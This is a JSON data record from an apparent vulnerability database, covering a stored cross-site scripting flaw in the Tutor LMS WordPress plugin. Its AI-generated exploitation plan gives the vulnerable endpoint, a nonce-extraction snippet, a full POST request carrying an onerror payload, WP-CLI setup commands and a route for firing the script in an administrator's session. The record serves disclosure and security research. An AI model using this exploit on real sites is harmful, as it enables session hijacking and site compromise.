[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fvtjmdQ1te2aBFm1vH3qsuTwT4fo_RcCgA7HxkGTiu0Y":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":37},"CVE-2026-13443","tutor-lms-authenticated-author-stored-cross-site-scripting-via-lesson-attachment-title","Tutor LMS \u003C= 3.9.13 - Authenticated (Author+) Stored Cross-Site Scripting via Lesson Attachment Title","The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Lesson Attachment Title in all versions up to, and including, 3.9.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","tutor",null,"\u003C=3.9.13","3.9.14","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-30 14:59:54","2026-07-01 03:43:36",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7483762c-5356-4844-90a9-511d9ec48625?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fjs\u002Ftutor-coupon.js","assets\u002Fjs\u002Ftutor-course-builder.js","assets\u002Fjs\u002Ftutor.js","classes\u002FQuizBuilder.php","classes\u002FUtils.php","classes\u002FWithdraw.php","classes\u002FWooCommerce.php","includes\u002Fdroip\u002Fbackend\u002FAjax.php","researched",false,3,"# Exploitation Research Plan — CVE-2026-13443\n\n## 1. Vulnerability Summary\nThe **Tutor LMS** plugin (\u003C= 3.9.13) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of lesson attachments, specifically the attachment title. Due to insufficient sanitization using `Input::sanitize` (or a lack thereof) and missing output escaping when rendering the attachment list in either the Course Builder or the frontend lesson view, an attacker with **Author** privileges can inject arbitrary JavaScript.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `tutor_modal_create_or_update_lesson` (or similar lesson-saving AJAX action).\n- **Vulnerable Parameter:** `attachments[][title]` or `attachments[][name]` within the lesson data payload.\n- **Authentication:** Required (Author role or higher).\n- **Preconditions:** The attacker must have permissions to create or edit a course and add lessons to it (standard for the Author role in Tutor LMS).\n\n## 3. Code Flow\n1. **Entry Point:** The attacker triggers the course builder and saves a lesson via an AJAX request. This request is typically handled by a method in a class like `Tutor\\Lesson` or `Tutor\\CourseBuilder` (similar to `Tutor\\QuizBuilder` seen in the source).\n2. **Data Processing:** The request contains an array of attachments. The code likely iterates through `$_POST['attachments']`.\n3. **Storage:** The attachment metadata (including the title) is saved to the database, either as post meta (`_tutor_attachments`) or in a custom table, without being passed through `esc_html()` or a strict `wp_kses` filter.\n4. **Sink:** When the lesson is viewed in the frontend (Lesson page) or re-opened in the backend Course Builder, the plugin retrieves the attachment title and echoes it directly: `echo $attachment->title;`.\n\n## 4. Nonce Acquisition Strategy\nTutor LMS strictly enforces nonces in its AJAX handlers using `tutor_utils()->checking_nonce()`. To obtain a valid nonce for the Author user:\n\n1. **Shortcode\u002FPage:** The Course Builder is where the script `tutor-course-builder.js` is loaded.\n2. **Strategy:**\n   - Create a course as the Author user.\n   - Access the \"Course Builder\" interface for that course.\n   - The nonce is localized in the page source within the `tutor_admin_data` (or `tutor_low_data`) object.\n3. **Tool Access:**\n   - Use `browser_navigate` to the Course edit page: `\u002Fwp-admin\u002Fpost.php?post=COURSE_ID&action=edit`.\n   - Use `browser_eval` to extract the nonce: \n     ```javascript\n     window.tutor_admin_data?.nonce || window._tutor_nonce_data?.nonce\n     ```\n4. **Action String:** The nonce is typically created for the action `tutor_nonce`.\n\n## 5. Exploitation Strategy\n### Step 1: Authentication & Setup\n1. Authenticate as an **Author** user.\n2. Create a Course and a Lesson. Identify the `course_id` and `lesson_id`.\n\n### Step 2: The Attack Request\nSend a POST request to `admin-ajax.php` to update the lesson with a malicious attachment title.\n\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n```text\naction=tutor_modal_create_or_update_lesson\n&_wpnonce=[EXTRACTED_NONCE]\n&course_id=[COURSE_ID]\n&lesson_id=[LESSON_ID]\n&lesson_title=Safe Lesson Title\n&lesson_content=Lesson Content\n&attachments[0][id]=[EXISTING_ATTACHMENT_ID_OR_0]\n&attachments[0][title]=\u003Cimg src=x onerror=alert(document.domain)>\n&attachments[0][upload_id]=[MEDIA_ID]\n```\n\n### Step 3: Triggering the XSS\n1. Navigate to the frontend URL of the created lesson: `http:\u002F\u002Flocalhost:8080\u002Flessons\u002F[LESSON-SLUG]\u002F`.\n2. Observe the `alert` firing when the attachment list renders.\n\n## 6. Test Data Setup\n1. **User:** `wp user create attacker attacker@example.com --role=author --user_pass=password`\n2. **Course:** `wp post create --post_type=courses --post_title=\"XSS Test Course\" --post_status=publish --post_author=[ATTACKER_ID]`\n3. **Lesson:** `wp post create --post_type=lesson --post_title=\"XSS Lesson\" --post_status=publish --post_author=[ATTACKER_ID]`\n4. **Association:** Link the lesson to the course via post meta:\n   - `wp post meta add [LESSON_ID] _tutor_course_id_for_lesson [COURSE_ID]`\n5. **Media:** Upload a dummy file to the media library to get a `[MEDIA_ID]`.\n\n## 7. Expected Results\n- The AJAX request returns `{\"success\":true, ...}`.\n- The database entry for the lesson's attachments contains the raw `\u003Cimg src=x onerror=alert(document.domain)>` string.\n- When viewing the lesson page, the browser executes the `alert(document.domain)` script because the title is rendered inside the `tutor-lesson-attachments` container without escaping.\n\n## 8. Verification Steps\n1. **Check Database Content:**\n   ```bash\n   wp post meta get [LESSON_ID] _tutor_attachments\n   ```\n   Confirm the output contains the unescaped script tag.\n2. **Verify Frontend Execution:** Use the `browser_navigate` tool to the lesson URL and check for the presence of the alert or the injected HTML in the DOM.\n\n## 9. Alternative Approaches\n- **Backend Trigger:** If the frontend is properly escaped, check the **Course Builder** modal. Navigating to the course edit page and clicking \"Edit Lesson\" might trigger the XSS in the administrator's context if they audit the course.\n- **Draft Status:** Even if the course is in \"Draft\" or \"Pending Review\", the payload is saved. If an Administrator views the preview to approve the course, the XSS will execute in their high-privileged session.","gemini-3-flash-preview","2026-07-25 13:12:25","2026-07-25 13:13:19",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","3.9.13","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.13.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.14","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.14.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags"]